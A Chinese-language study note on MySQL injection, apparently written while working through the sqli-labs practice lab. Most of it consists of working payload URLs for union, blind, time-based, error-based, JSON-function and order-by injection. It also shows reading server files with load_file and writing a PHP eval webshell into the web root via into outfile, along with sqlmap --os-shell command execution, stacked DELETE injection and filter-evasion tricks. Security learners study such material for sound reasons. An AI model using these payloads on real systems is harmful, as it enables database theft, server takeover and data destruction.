Mysql注入学习,配合sqllab学习。除了sqllab的内容外增加了 JSON报错注入、报错注入读写文件、数据库拿Shell
#系统函数 1. version() MySQL 版本 2. user() 数据库用户名 3. database() 数据库名 4. @@datadir 数据库路径 5. @@version_compile_os 操作系统版本 6. @@basedir 数据库安装路径 7. @@version_compile_os 操作系统 #字符串连接函数 1. concat(str1,str2,...) 没有分隔符地连接字符串 2. concat_ws(separator,str1,str2,...) 含有分隔符地连接字符串 3. group_concat(str1,str2,...) 连接一个组的所有字符串,并以逗号分隔每一条数据 #一般用于尝试的是否存在注入的语句 or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+ % or 1=1--+ 以此类推。。。 PS:--+可以用#替换,url 提交过程中 Url 编码后的#为%23
一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。
#查询数据库 show databases; #选择数据库 use security; #查询表 show tables; #查看表结构 desc emails;
使用系统数据库进行注入
#系统数据库information_schema use information_schema #查询数据库 select schema_name from information_schema.schemata #查询表 select table_name from information_schema.tables where table_schema=’xxxxx’ #查询表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’ #获取某列的内容 Select *** from ****
注入点探测
寻找参数进行注入尝试
or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+ % or 1=1--+ 以此类推。。。
注入尝试
order by 测试 select * 的个数
http://127.0.0.1/sqllib/Less-1/?id=1' order by 3--+
判断显示位
http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,2,3--+
爆数据库名
http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆security中的表名
http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆users表的列
http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆数据
http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,username,password from users where id=2--+
id=1'--+ 、 id=1--+ 是否报错可以判断出接收的参数是整数型还是字符型。id=1'--+不报错证明为字符型, id=1--+不报错证明为整数型,反之亦然。
Less-1—Less-4 注入方式基本一样,都是用上面的union注入,主要是参数的闭合方式不同。分别是 ' 、空 、 ') 、 ")。
盲注就是在 sql 注入过程中,sql 语句执行后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为3类:
通过构造逻辑判断进行注入。
布尔 SQL 盲注,需要利用截取字符串函数,常用的函数有:mid(),substr(),left()
Ascii()将某个字符转换为 ascii 值 ascii(substr((select database()),1,1))=98
Ord()函数同 ascii(),将字符转为 ascii 值
regexp 正则注入 select user() regexp '[1]'; 判断user() 第一位
select user() regexp '^r[a-z]';判断user() 第二位
like 匹配注入 select user() like ‘ro%’
mid()函数
MID(column_name,start[,length])
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
Sql用例:
(1)MID(database(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
substr()函数
substr()和substring()函数实现的功能是一样的,均为截取字符串。
substring(string, start, length)、substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1) substr(database(),1,1)>’a‘,查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此处string参数可以为sql语句,可自行构造sql语句进行注入。
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n) string为要截取的字符串,n为长度。
参数 | 描述 |
---|---|
string | 必需。要提取字符的字段。 |
n | 必需。提取字符长度。 |
Sql用例:
(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。
基于正确和不正确的返回显示不同 #版本号判断 http://127.0.0.1/Less-5/?id=1 ' and left(version(),1)=5 --+ #判断数据库名位数 http://127.0.0.1/Less-5/?id=1 ' and length(database())=8 --+ #判断数据库名第一个字母 http://127.0.0.1/Less-5/?id=1 ' and left(database(),1)='a'--+ #这里可以利用burp进行爆破,使用ascii()进行编码爆破65-122(A-Z,a-z) http://127.0.0.1/Less-5/?id=1 ' and ascii(left(database(),1))=101--+
#substr()可以替换上面的left使用,效果一样。 #爆数据库名 http://127.0.0.1/Less-5/?id=1 ' and ascii(substr(database(),1))=101--+ ==http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=101--+ #爆表名 得知数据库名后可以替换database(),获取表名的第二个只需要substr(**,2,1)即可。 http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ #获取第二个表 上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个,那要获取第二个就是 limit 1,1
#regexp 正则匹配 http://127.0.0.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
构造 payload 让信息通过错误提示回显出来
十种报错函数:
常用的报错函数
floor():floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
extractvalue():对XML文档进行查询的函数。
updatexml():更新xml文档的函数。
#floor报错返回用户名 http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ # 利用xpath函数报错注入 http://127.0.0.1/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ # 利用updatexml函数报错注入 http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+ #利用数据的重复性 http://127.0.0.1/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+ #版本问题没有成功输出想要的数据 #利用 double 数值类型超出范围进行报错注入 http://127.0.0.1/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+ #利用bigint溢出进行报错注入 http://127.0.0.1/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
JSON报错注入
从 MySQL 5.7.8 开始支持由RFC 7159 JSON 定义的本机数据类型 ,可以有效地访问 JSON(JavaScript Object Notation)文档中的数据
JSON_TYPE()
JSON_TYPE(version())
此函数获取JSON值的类型,当我们传入的值不属于json格式则报错。
http://127.0.0.1/Less-1/?id=1'and JSON_TYPE(version())%23
JSON_EXTRACT()
JSON_EXTRACT(json_doc, path[, path] ...)
此函数从 JSON 文档中返回数据,从与path参数匹配的文档部分中选择.
#当第一个参数不是json类型的值则报错 http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT(version(), '$[1]')%23 http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT((select user()),'$.a')%23 #当第二个参数不是指定格式的字符时也报错 http://127.0.0.1/Less-1/?id=1'and json_extract('[1]',version())%23 http://127.0.0.1/Less-1/?id=1'and json_extract('{"a":1,"a":2}',version())%23
JSON_ARRAY_APPEND()
JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)
将值附加到 JSON 文档中指定数组的末尾并返回结果,报错输出原理和json_extract函数相同。
http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND(version(),1,1)%23 http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND('[1,2]',version(),1)%23
报错注入读写文件
#读文件 http://127.0.0.1/Less-1/?id=1' and (exp(~(select*from(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php'))a))); http://127.0.0.1/Less-1/?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php')),0x7e))) #写文件 写文件默认就是只能创建文件,无法写入内容。 http://127.0.0.1/Less-1/?id=-1 and exp(~(select*from(select 'hello')a)) into outfile 'C:\\inetpub\\wwwroot\\target_sys.com\\data\\config.inc.txt';
如果条件成立,延迟返回数据。
如:If(ascii(substr(database(),1,1))=115,sleep(5),0)%23 //if 判断语句,条件为真,执行 sleep,返回延迟5秒。
数据库 | 函数 |
---|---|
Mysql | BENCHMARK(100000,MD5(1)) or sleep(5) |
Postgresql | PG_SLEEP(5) or GENERATE_SERIES(1,10000) |
Ms sql | WAITFOR DELAY ‘0:0:5’ |
#利用 sleep()函数进行注入 if(条件语句,ture输出,错误输出) http://127.0.0.1/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+ #利用benchmark()函数延时注入 #当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间 http://127.0.0.1/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
Load_file(file_name):读取一个文件并将其内容作为字符串返回。
使用条件:
必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0 --+/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0 --+/* 返回错误,应该是管理员给数据库帐户降权
欲读取文件必须在服务器上
必须指定文件完整的路径
欲读取文件必须小于 max_allowed_packet
在实际的注入中,我们有两个难点需要解决:
绝对物理路径
构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径。
#利用 hex()将文件内容导出来 Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))) #ASCII 代码 "c:/boot.ini" -1 union select 1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) #“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,load_file(0x633a2f626f6f742e696e69) #路径里的/用 \\代替 http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,1,load_file("C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php")--+
load data infile 读文件装入数据表
load data infile 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。
例子:
load data infile '/tmp/test.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
利用条件
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍
当secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制
#查看secure-file-priv参数的值 show global variables like '%secure%'; #修改secure_file_priv 的值 在mysql/my.ini中查看是否有secure_file_priv的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可
**select.....into outfile 'file_name' **
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。
例子:
#第一种直接将 select 内容写到文件中 使用斜杠转义 select version() into outfile “c:\\phpnow\\htdocs\\test.php” #此处将 version()替换成一句话<?php @eval($_post[“mima”])?> select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php” #第二种修改文件结尾 select version() into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,'<?php @eval($_post["mima"])?>' into outfile"C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\1.php"--+
--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件,此为sqlmap的一个命令,利用这条命令的先决条件:
sqlmap -u http://xxxx --os-shell
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):
#命令执行 http://192.168.1.100/tmpbjvuo.php?cmd=whoami
#上传文件 http://192.168.1.100/tmpuyett.php
增加一行数据
insert into users values('16','lcamry','lcamry');
#删数据 delete from 表名; delete from 表名 where id=1; 删数据库:drop database 数据库名; 删除表:drop table 表名; 删除表中的列:alter table 表名 drop column 列名;
updata 表名 set 列名='新的值'; 新的值,非数字加单引号 updata 表名 set 列名='新的值,非数字加单引号' where id=6;
addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
addslashes(string)
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御宽字节的注入。
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
stripslashes()
函数删除由 addslashes() 函数添加的反斜杠。
mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法:mysql_real_escape_string(string,connection)
string 必需。规定要转义的字符串。
connection 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。
二次排序注入也成为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
1、#,--注释符号的过滤,使用‘进行闭合 -1' union select 1,@@datadir,'3 (1)id=-1,为什么要用-1,因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。 (2)-1' union select 1,@@datadir,’3,第一个’(单引号)闭合-1,第二个’(单引号)闭合后面的。这样将查询内容显示在username处。 (3)此处可以报错注入,延时注入, 可以利用or ‘1’=’1进行闭合。 2、or and 过滤 (1)大小写变形 Or,OR,oR (2)编码,hex,urlencode (3)添加注释/*or*/ (4)利用符号 and=&& or=|| 3、过滤空格 (1)%09 TAB 键(水平) (2)%0a 新建一行 (3)%0c 新的一页 (4)%0d return 功能 (5)%0b TAB 键(垂直) (6)%a0 空格 4、过滤union,select (1)大小写混合
数据库与web站点可能是分离的
过滤 ‘ \的情况下,宽字节注入好使。mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \ 具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成 %df%5c %27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。
get 型的方式我们是以 url 形式提交的,因此数据会通过 URLencode,在 post 型的注入当中,将 utf-8 转换为 utf-16 或 utf-32
%df ' utf-8 转换为 utf-16 ' utf-8 转换为 utf-32
命令行中,每一条语句结尾加 ; 表示语句结束。堆叠注入是指可以多句一起使用。
用户输入: 1; DELETE FROM products 服务器端生成的 sql 语句为:(因未对输入的参数进行过滤) Select * from products where productid=1;DELETE FROM products
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制.
sql 语句为$sql = "SELECT * FROM users ORDER BY $id";
注入尝试: sort=1 desc 或者 sort=1 asc,显示结果不同。则表明可以注入。 order by 不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
1、order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句,让该语句执行结果为一个数 http://127.0.0.1/Less-46/?sort=right(version(),1) 没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型、报错注入和延时注入 ?sort= 后面的一个参数。此时,我们可以有三种形式: ①直接添加注入语句,?sort=(select ******) 报错注入 http://127.0.0.1/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) 延时注入 http://127.0.0.1/Less-46/?sort=(select if(substr(current,1,1)=char(115), BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb1) ②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句) rand(ture)和 rand(false)的结果是不一样 http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=115) http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=116 对比 rand(ture)和 rand(false)的结果,可以看出报错注入是成功的 ③利用 and,例如?sort=1 and (加 sql 语句) 延时注入 http://127.0.0.1/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1) 2、procedure analyse 利用 procedure analyse 参数,我们可以执行报错注入。同时,在procedure analyse和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。 http://127.0.0.1/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1) 不成功 将查询结果导入到文件当中into outfile http://127.0.0.1/Less-46/?sort=1 into outfile "D:\\software\\wamp\\www\\sql\\test1.txt" 写入马phpinfo.php lines terminated by 0x(网马进行 16 进制转换) http://127.0.0.1/Less-46/?sort=1 into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x
a-z ↩︎